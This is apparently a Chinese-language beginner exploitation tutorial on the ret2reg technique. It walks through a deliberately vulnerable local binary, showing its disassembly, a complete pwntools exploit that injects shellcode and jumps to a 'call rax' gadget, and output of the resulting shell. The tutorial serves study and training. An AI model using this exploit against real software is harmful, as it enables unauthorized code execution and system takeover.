-
-
PWN入门-9-智收REG-ret2reg
-
发表于: 2024-8-18 18:33 2626
-
利用思路
函数返回时,会存在寄存器指向存储变量的位置,其中最为常见的就是rsp
寄存器,它永远指向当前程序栈顶的位置,除此之外,也可能存在其他的寄存器保存着缓冲区变量的位置。
ret2reg
有两点要求,一是缓冲区变量可以容纳Shellcode,二是缓冲区变量所在的内存页是可以在执行的。
为了实现程序控制流的跳转,我们需要除了需要向缓冲区变量内注入Shellcode,还需要将函数的返回地址改成call xxx
或jmp xxx
指令的地址(xxx
为寄存器)。
当然想要利用寄存器还有一点需要确认,就是寄存器的数值在函数返回时是可以使用的,而函数返回前就被覆盖了。
最可能利用的寄存器 - RAX
在x86_64架构中程序中,经常可以看到rax
寄存器从栈上、只读区域等地方获取数值,对于GLibC来讲,调用的函数或跳转的位置常常是运行期才会完成确认,因此GlibC中就会经常看到,函数先取出数值到rax
寄存器中,然后再通过call
或jmp
指令,调用rax
寄存器内的信息。
通过GCC编译器产生的程序,在其最终生成的ELF文件内,经常可以看到GLibC插入的代码,这些代码直接给我们提供了call rax
和jmp rax
指令。
其中_init
函数会使用caal rax
指令,该rax
寄存器中数据的来源是ELF文件内的.got
节,它会根据PREINIT_FUNCTION
函数是否存在,然后进行调用。PREINIT_FUNCTION
函数对应着__gmon_start__
,当程序启用分析功能时,LD就修改.got
节中数据,让程序再这里进行分析功能的初始化。
1 2 3 4 5 6 7 8 9 | 0000000000401000 <_init>: 401000 : f3 0f 1e fa endbr64 401004 : 48 83 ec 08 sub $ 0x8 , % rsp 401008 : 48 8b 05 c9 2f 00 00 mov 0x2fc9 ( % rip), % rax # 403fd8 <__gmon_start__@Base> 40100f : 48 85 c0 test % rax, % rax 401012 : 74 02 je 401016 <_init + 0x16 > 401014 : ff d0 call * % rax 401016 : 48 83 c4 08 add $ 0x8 , % rsp 40101a : c3 ret |
除了_init
函数之外,当然还有其他函数也具备call rax
或jmp rax
的特征,只要是符合调用运行期才会解析的函数的特点。
示例讲解
本程序的保护情况如下所示,不难看出当前程序没有任何的保护。
1 2 3 4 5 6 7 | Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE ( 0x400000 ) Stack: Executable RWX: Has RWX segments |
从程序的反汇编结果中可以看到,vuln
是一个存在缓冲区溢出漏洞的函数,缓冲区变量拥有足够的空间容纳Shellcode,而且fgets
函数的返回值就是缓冲区变量的所在地址,正好位于rax
寄存器中,如果我们能找到call rax
或jmp rax
指令的所在地址,就可以让程序在返回时前往缓冲区变量,进而执行缓冲区变量内的Shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | 0000000000401146 <vuln>: 401146 : 55 push % rbp 401147 : 48 89 e5 mov % rsp, % rbp 40114a : 48 81 ec 10 01 00 00 sub $ 0x110 , % rsp 401151 : 48 8d 05 ac 0e 00 00 lea 0xeac ( % rip), % rax # 402004 <_IO_stdin_used+0x4> 401158 : 48 89 c6 mov % rax, % rsi 40115b : 48 8d 05 a4 0e 00 00 lea 0xea4 ( % rip), % rax # 402006 <_IO_stdin_used+0x6> 401162 : 48 89 c7 mov % rax, % rdi 401165 : e8 e6 fe ff ff call 401050 <fopen@plt> 40116a : 48 89 45 f8 mov % rax, - 0x8 ( % rbp) 40116e : 48 83 7d f8 00 cmpq $ 0x0 , - 0x8 ( % rbp) 401173 : 75 0f jne 401184 <vuln + 0x3e > 401175 : 48 8d 05 95 0e 00 00 lea 0xe95 ( % rip), % rax # 402011 <_IO_stdin_used+0x11> 40117c : 48 89 c7 mov % rax, % rdi 40117f : e8 ac fe ff ff call 401030 <puts@plt> 401184 : 48 8d 05 98 0e 00 00 lea 0xe98 ( % rip), % rax # 402023 <_IO_stdin_used+0x23> 40118b : 48 89 c7 mov % rax, % rdi 40118e : e8 9d fe ff ff call 401030 <puts@plt> 401193 : 48 8b 55 f8 mov - 0x8 ( % rbp), % rdx 401197 : 48 8d 85 f0 fe ff ff lea - 0x110 ( % rbp), % rax 40119e : be 00 10 00 00 mov $ 0x1000 , % esi 4011a3 : 48 89 c7 mov % rax, % rdi 4011a6 : e8 95 fe ff ff call 401040 <fgets@plt> 4011ab : 90 nop 4011ac : c9 leave 4011ad : c3 ret 00000000004011ae <main>: 4011ae : 55 push % rbp 4011af : 48 89 e5 mov % rsp, % rbp 4011b2 : b8 00 00 00 00 mov $ 0x0 , % eax 4011b7 : e8 8a ff ff ff call 401146 <vuln> 4011bc : 48 8d 05 65 0e 00 00 lea 0xe65 ( % rip), % rax # 402028 <_IO_stdin_used+0x28> 4011c3 : 48 89 c7 mov % rax, % rdi 4011c6 : e8 65 fe ff ff call 401030 <puts@plt> 4011cb : b8 00 00 00 00 mov $ 0x0 , % eax 4011d0 : 5d pop % rbp 4011d1 : c3 ret |
构造exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import os import pwn import struct pwn.context.clear() pwn.context.update( arch = 'amd64' , os = 'linux' ) target_info = { 'exec_path' : './ret2reg_example' , 'addr_len' : 0x8 , 'bufvar2stack' : 0x110 , 'shellcode' : 0x0 , 'call_rax' : 0x401014 , } shellcode_src = pwn.shellcraft.sh() target_info[ 'shellcode' ] = pwn.asm(shellcode_src) pwn.context.binary = pwn.ELF(target_info[ 'exec_path' ]) conn = pwn.process(target_info[ 'exec_path' ]) pwn.pause() payload = target_info[ 'shellcode' ] payload + = b '\x90' * (target_info[ 'bufvar2stack' ] - len (target_info[ 'shellcode' ])) payload + = b 'A' * target_info[ 'addr_len' ] payload + = pwn.p64(target_info[ 'call_rax' ]) conn.sendlineafter( '>>>>\n' , payload) conn.interactive() |
成功PWN
1 2 3 4 5 6 7 8 9 10 11 | [ + ] Starting local process './ret2reg_example' : pid 36498 [ * ] Paused (press any to continue ) / usr / lib / python3. 12 / site - packages / pwnlib / tubes / tube.py: 841 : BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https: / / docs.pwntools.com / #bytes res = self .recvuntil(delim, timeout = timeout) [ * ] Switching to interactive mode $ id uid = 1000 (nora) gid = 1000 (nora) groups = 1000 (nora), 3 (sys), 90 (network), 98 (power), 991 (lp), 998 (wheel) $ exit [ * ] Got EOF while reading in interactive $ [ * ] Process './ret2reg_example' stopped |